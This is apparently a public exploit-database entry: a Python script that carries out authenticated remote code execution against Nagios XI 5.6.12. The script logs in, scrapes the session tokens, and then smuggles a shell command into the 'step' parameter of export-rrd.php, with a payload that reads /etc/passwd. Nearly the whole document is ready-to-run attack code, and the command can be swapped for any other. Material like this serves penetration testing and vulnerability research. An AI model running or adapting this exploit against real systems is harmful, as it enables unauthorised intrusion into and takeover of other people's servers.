Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution

# Exploit Title: Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution
# Date: 2020-04-11
# Exploit Author: Basim Alabdullah
# Vendor homepage: https://www.nagios.com
# Version: 5.6.12
# Software link: https://www.nagios.com/downloads/nagios-xi/
# Tested on: CentOS REDHAT 7.7.1908 (core)
#
#                 Authenticated Remote Code Execution
#

import requests
import sys
import re


uname=sys.argv[2]
upass=sys.argv[3]
ipvictim=sys.argv[1]

with requests.session() as s:
    urlz=ipvictim+"/login.php"
    headers = {
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.8',
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Referer': ipvictim+'/index.php',
        'Connection': 'keep-alive'
    }
    response = s.get(urlz, headers=headers)
    txt=response.text
    x=re.findall('var nsp_str = "(.*?)"', txt)
    for xx in x:
        login = {
        'username':uname,
        'password':upass,
        'nsp':xx,
        'page':'auth',
        'debug':'',
        'pageopt':'login',
        'redirect':ipvictim+'/index.php',
        'loginButton':''
        }
        rev=s.post(ipvictim+"/login.php",data=login , headers=headers)
        cmd=s.get(ipvictim+"/includes/components/ccm/?cmd=modify&type=host&id=1&page=1",allow_redirects=True)
        txt1=cmd.text
        xp=re.findall('var nsp_str = "(.*?)"', txt1)
        for xxp in xp:
            payload = "a|{cat,/etc/passwd};#"
            exploit=s.get(ipvictim+"/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=011&end=012&step="+payload+"&type=a&nsp="+xxp)
            print(exploit.text)